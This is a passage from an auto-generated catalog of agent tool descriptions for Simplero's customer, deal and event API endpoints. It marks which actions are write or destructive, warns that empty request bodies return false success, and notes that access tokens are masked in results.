not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_auto_renew_off. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_auto_renew_on (write) — Turn on auto-renew for existing purchase of product via POST /api/v2/customers/{id}/actions/product_auto_renew_on. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_auto_renew_on. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_cancel (write, destructive) — Cancel existing purchase of product via POST /api/v2/customers/{id}/actions/product_cancel. Answers {"data": {...}}. DESTRUCTIVE: Cancel existing purchase of product. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_cancel. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_pause (write) — Pause existing purchase of product via POST /api/v2/customers/{id}/actions/product_pause. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_pause. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_purchase (write) — Purchase product without paying via POST /api/v2/customers/{id}/actions/product_purchase. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_purchase. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_reset_auto_responses (write, destructive) — Reset auto-responses for a product participant via POST /api/v2/customers/{id}/actions/product_reset_auto_responses. Answers {"data": {...}}. DESTRUCTIVE: Reset auto-responses for a product participant. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_reset_auto_responses. Scopes: api. simplero_post_api_v2_customers_by_id_actions_product_resume (write) — Resume existing purchase of product via POST /api/v2/customers/{id}/actions/product_resume. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/product_resume. Scopes: api. simplero_post_api_v2_customers_by_id_actions_register_for_an_event (write) — Register for an event via POST /api/v2/customers/{id}/actions/register_for_an_event. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/register_for_an_event. Scopes: api. simplero_post_api_v2_customers_by_id_actions_register_for_next_occurrence (write) — Register for next upcoming occurrence of event via POST /api/v2/customers/{id}/actions/register_for_next_occurrence. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/register_for_next_occurrence. Scopes: api. simplero_post_api_v2_customers_by_id_actions_remove_affiliate (write) — Remove Affiliate for Contact via POST /api/v2/customers/{id}/actions/remove_affiliate. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/remove_affiliate. Scopes: api. simplero_post_api_v2_customers_by_id_actions_remove_all_tags (write, destructive) — Remove all tags via POST /api/v2/customers/{id}/actions/remove_all_tags. Answers {"data": {...}}. DESTRUCTIVE: Remove all tags -- a bulk removal with no record of what was removed, so unlike `remove_tag` it cannot be reversed. DESTRUCTIVE: removes every tag with no record of which ones were removed, so unlike `remove_tag` it cannot be reversed. POST /api/v1/simplero/api/v2/customers/{id}/actions/remove_all_tags. Scopes: api. simplero_post_api_v2_customers_by_id_actions_remove_badge (write) — Remove engagement badge via POST /api/v2/customers/{id}/actions/remove_badge. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/remove_badge. Scopes: api. simplero_post_api_v2_customers_by_id_actions_remove_from_conversation (write) — Remove from conversation via POST /api/v2/customers/{id}/actions/remove_from_conversation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/remove_from_conversation. Scopes: api. simplero_post_api_v2_customers_by_id_actions_remove_from_meta_custom_audience (write) — Remove from Meta custom audience via POST /api/v2/customers/{id}/actions/remove_from_meta_custom_audience. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/remove_from_meta_custom_audience. Scopes: api. simplero_post_api_v2_customers_by_id_actions_remove_simplero_id (write) — Remove Simplero ID via POST /api/v2/customers/{id}/actions/remove_simplero_id. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/remove_simplero_id. Scopes: api. simplero_post_api_v2_customers_by_id_actions_remove_tag (write) — Remove a tag via POST /api/v2/customers/{id}/actions/remove_tag. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/remove_tag. Scopes: api. simplero_post_api_v2_customers_by_id_actions_request_signature (write) — Request contract signature via POST /api/v2/customers/{id}/actions/request_signature. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/request_signature. Scopes: api. simplero_post_api_v2_customers_by_id_actions_resume_automation (write) — Resume automation via POST /api/v2/customers/{id}/actions/resume_automation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/resume_automation. Scopes: api. simplero_post_api_v2_customers_by_id_actions_resurrect (write) — Resurrect (customers) via POST /api/v2/customers/{id}/actions/resurrect. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/resurrect. Scopes: api. simplero_post_api_v2_customers_by_id_actions_reverify_email (write) — Re-verify email via POST /api/v2/customers/{id}/actions/reverify_email. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/reverify_email. Scopes: api. simplero_post_api_v2_customers_by_id_actions_revoke_consent (write, destructive) — Revoke GDPR consent via POST /api/v2/customers/{id}/actions/revoke_consent. Answers {"data": {...}}. DESTRUCTIVE: Revoke GDPR consent -- withdraws a consent record. POST /api/v1/simplero/api/v2/customers/{id}/actions/revoke_consent. Scopes: api. simplero_post_api_v2_customers_by_id_actions_send_a_broadcast (write) — Send a broadcast via POST /api/v2/customers/{id}/actions/send_a_broadcast. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/send_a_broadcast. Scopes: api. simplero_post_api_v2_customers_by_id_actions_send_chat_message (write) — Send chat message via POST /api/v2/customers/{id}/actions/send_chat_message. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/send_chat_message. Scopes: api. simplero_post_api_v2_customers_by_id_actions_send_password_reset (write) — Send password reset via POST /api/v2/customers/{id}/actions/send_password_reset. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/send_password_reset. Scopes: api. simplero_post_api_v2_customers_by_id_actions_send_simplero_id (write) — Send Simplero ID via POST /api/v2/customers/{id}/actions/send_simplero_id. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/send_simplero_id. Scopes: api. simplero_post_api_v2_customers_by_id_actions_set_affiliate (write) — Set Affiliate for Contact via POST /api/v2/customers/{id}/actions/set_affiliate. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/set_affiliate. Scopes: api. simplero_post_api_v2_customers_by_id_actions_set_date_to_now (write) — Set date field to relative time via POST /api/v2/customers/{id}/actions/set_date_to_now. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/set_date_to_now. Scopes: api. simplero_post_api_v2_customers_by_id_actions_set_text_field (write) — Set text field via POST /api/v2/customers/{id}/actions/set_text_field. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/set_text_field. Scopes: api. simplero_post_api_v2_customers_by_id_actions_single_action_library_mailing (write) — Send email via POST /api/v2/customers/{id}/actions/single_action_library_mailing. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/single_action_library_mailing. Scopes: api. simplero_post_api_v2_customers_by_id_actions_site_grant (write) — Give access to site via POST /api/v2/customers/{id}/actions/site_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/site_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_site_group_grant (write) — Give access to group via POST /api/v2/customers/{id}/actions/site_group_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/site_group_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_site_group_revoke (write, destructive) — Revoke access to group via POST /api/v2/customers/{id}/actions/site_group_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to group. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/site_group_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_site_revoke (write, destructive) — Revoke access to site via POST /api/v2/customers/{id}/actions/site_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to site. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/site_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_space_grant (write) — Give access to space via POST /api/v2/customers/{id}/actions/space_grant. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/space_grant. Scopes: api. simplero_post_api_v2_customers_by_id_actions_space_revoke (write, destructive) — Revoke access to space via POST /api/v2/customers/{id}/actions/space_revoke. Answers {"data": {...}}. DESTRUCTIVE: Revoke access to space. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/space_revoke. Scopes: api. simplero_post_api_v2_customers_by_id_actions_spear_email (write) — Send SPEAR email via POST /api/v2/customers/{id}/actions/spear_email. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/spear_email. Scopes: api. simplero_post_api_v2_customers_by_id_actions_start_automation (write) — Start automation via POST /api/v2/customers/{id}/actions/start_automation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/start_automation. Scopes: api. simplero_post_api_v2_customers_by_id_actions_start_countdown_timer (write) — Start countdown timer via POST /api/v2/customers/{id}/actions/start_countdown_timer. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/start_countdown_timer. Scopes: api. simplero_post_api_v2_customers_by_id_actions_stop_all_automations (write, destructive) — Stop all automations for Contact via POST /api/v2/customers/{id}/actions/stop_all_automations. Answers {"data": {...}}. DESTRUCTIVE: Stop all automations for Contact. POST /api/v1/simplero/api/v2/customers/{id}/actions/stop_all_automations. Scopes: api. simplero_post_api_v2_customers_by_id_actions_stop_automation (write) — Stop automation via POST /api/v2/customers/{id}/actions/stop_automation. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/stop_automation. Scopes: api. simplero_post_api_v2_customers_by_id_actions_subscription_resume (write) — Resume subscription to list via POST /api/v2/customers/{id}/actions/subscription_resume. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/subscription_resume. Scopes: api. simplero_post_api_v2_customers_by_id_actions_subscription_suspend (write) — Suspend subscription to list via POST /api/v2/customers/{id}/actions/subscription_suspend. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/subscription_suspend. Scopes: api. simplero_post_api_v2_customers_by_id_actions_task (write) — Assign a task via POST /api/v2/customers/{id}/actions/task. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/task. Scopes: api. simplero_post_api_v2_customers_by_id_actions_text_message (write) — Send notification text message via POST /api/v2/customers/{id}/actions/text_message. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/text_message. Scopes: api. simplero_post_api_v2_customers_by_id_actions_unmark_as_do_not_contact (write) — Unmark as Do Not Contact via POST /api/v2/customers/{id}/actions/unmark_as_do_not_contact. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/unmark_as_do_not_contact. Scopes: api. simplero_post_api_v2_customers_by_id_actions_unmark_as_email_bounced (write) — Unsuppress (unmark email as bounced) via POST /api/v2/customers/{id}/actions/unmark_as_email_bounced. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/customers/{id}/actions/unmark_as_email_bounced. Scopes: api. simplero_post_api_v2_customers_by_id_actions_unsubscribe_everything (write, destructive) — Unsubscribe from everything via POST /api/v2/customers/{id}/actions/unsubscribe_everything. Answers {"data": {...}}. DESTRUCTIVE: Unsubscribe from everything. DESTRUCTIVE: unsubscribes the contact from every list at once. Re-subscribing needs the contact's own consent, so this is not a toggle. POST /api/v1/simplero/api/v2/customers/{id}/actions/unsubscribe_everything. Scopes: api. simplero_post_api_v2_customers_by_id_actions_webhook (write) — Post to webhook via POST /api/v2/customers/{id}/actions/webhook. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/customers/{id}/actions/webhook. Scopes: api. simplero_post_api_v2_deals (write) — Create a deal via POST /api/v2/deals. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST /api/v1/simplero/api/v2/deals. Scopes: api. simplero_post_api_v2_deals_by_id_actions_move_to_pipeline (write) — Move to pipeline (deals) via POST /api/v2/deals/{id}/actions/move_to_pipeline. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/deals/{id}/actions/move_to_pipeline. Scopes: api. simplero_post_api_v2_deals_by_id_actions_move_to_stage (write) — Move to pipeline stage (deals) via POST /api/v2/deals/{id}/actions/move_to_stage. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/deals/{id}/actions/move_to_stage. Scopes: api. simplero_post_api_v2_deals_by_id_actions_set_product_id (write) — Set product via POST /api/v2/deals/{id}/actions/set_product_id. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/deals/{id}/actions/set_product_id. Scopes: api. simplero_post_api_v2_deals_by_id_actions_set_value (write) — Set value via POST /api/v2/deals/{id}/actions/set_value. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/deals/{id}/actions/set_value. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_approve_registration (write) — Approve registration via POST /api/v2/event_occurrence_participants/{id}/actions/approve_registration. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/approve_registration. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_cancel_booking (write, destructive) — Cancel booking via POST /api/v2/event_occurrence_participants/{id}/actions/cancel_booking. Answers {"data": {...}}. DESTRUCTIVE: Cancel booking. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/cancel_booking. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_cancel_registration (write, destructive) — Cancel registration via POST /api/v2/event_occurrence_participants/{id}/actions/cancel_registration. Answers {"data": {...}}. DESTRUCTIVE: Cancel registration. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/cancel_registration. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_deny_registration (write) — Deny registration via POST /api/v2/event_occurrence_participants/{id}/actions/deny_registration. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/deny_registration. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_disassociate_from_funnel (write) — Disassociate from funnel (event occurrence participants) via POST /api/v2/event_occurrence_participants/{id}/actions/disassociate_from_funnel. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/disassociate_from_funnel. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_move_to_occurrence (write) — Move to another occurrence via POST /api/v2/event_occurrence_participants/{id}/actions/move_to_occurrence. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/move_to_occurrence. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_resend_confirmation_email (write) — Resend confirmation email via POST /api/v2/event_occurrence_participants/{id}/actions/resend_confirmation_email. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/resend_confirmation_email. Scopes: api. simplero_post_api_v2_event_occurrence_participants_by_id_actions_set_deal_assignee_to_scheduling_link_organizer (write) — Set Deal Assignee to the organizer on the Scheduling Link via POST /api/v2/event_occurrence_participants/{id}/actions/set_deal_assignee_to_scheduling_link_organizer. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrence_participants/{id}/actions/set_deal_assignee_to_scheduling_link_organizer. Scopes: api. simplero_post_api_v2_event_occurrences_by_id_actions_add_facet_values (write) — Add facet values (event occurrences) via POST /api/v2/event_occurrences/{id}/actions/add_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrences/{id}/actions/add_facet_values. Scopes: api. simplero_post_api_v2_event_occurrences_by_id_actions_add_labels (write) — Add labels (event occurrences) via POST /api/v2/event_occurrences/{id}/actions/add_labels. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrences/{id}/actions/add_labels. Scopes: api. simplero_post_api_v2_event_occurrences_by_id_actions_change_organizer (write) — Change organizer via POST /api/v2/event_occurrences/{id}/actions/change_organizer. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrences/{id}/actions/change_organizer. Scopes: api. simplero_post_api_v2_event_occurrences_by_id_actions_create_recording_lesson (write) — Create recording lesson via POST /api/v2/event_occurrences/{id}/actions/create_recording_lesson. Answers {"data": {...}}. POST /api/v1/simplero/api/v2/event_occurrences/{id}/actions/create_recording_lesson. Scopes: api. simplero_post_api_v2_event_occurrences_by_id_actions_duplicate (write) — Duplicate (event occurrences) via POST /api/v2/event_occurrences/{id}/actions/duplicate. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrences/{id}/actions/duplicate. Scopes: api. simplero_post_api_v2_event_occurrences_by_id_actions_remove_facet_values (write) — Remove facet values (event occurrences) via POST /api/v2/event_occurrences/{id}/actions/remove_facet_values. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrences/{id}/actions/remove_facet_values. Scopes: api. simplero_post_api_v2_event_occurrences_by_id_actions_remove_label (write) — Remove label (event occurrences) via POST /api/v2/event_occurrences/{id}/actions/remove_label. Answers {"data": {...}}. Simplero reports this action as a SUCCESS even when the request body omits the argument it acts on: an empty body answers 200 {"success": true} with the "Successfully performed ..." message and changes nothing (measured 2026-09-24 on add_tag, whose taggings count did not move). Send the body field the schema names, and confirm the effect by reading the record or its collection back -- the success message is not evidence. POST /api/v1/simplero/api/v2/event_occurrences/{id}/actions/remove_label. Scopes: api. simplero_post_api_v2_events (write) — Create a event via POST /api/v2/events. Answers {"data": {...}}. Agentic Fabriq masks Simplero's opaque access tokens in this result (`token`, `stealme_token`, `freebie_token`, and a contact's `key`): they are share-and-access capabilities, and a tool result is not redacted anywhere else. Ids, names and every other field come through unchanged; read the token itself in Simplero's own admin UI if you need it. POST 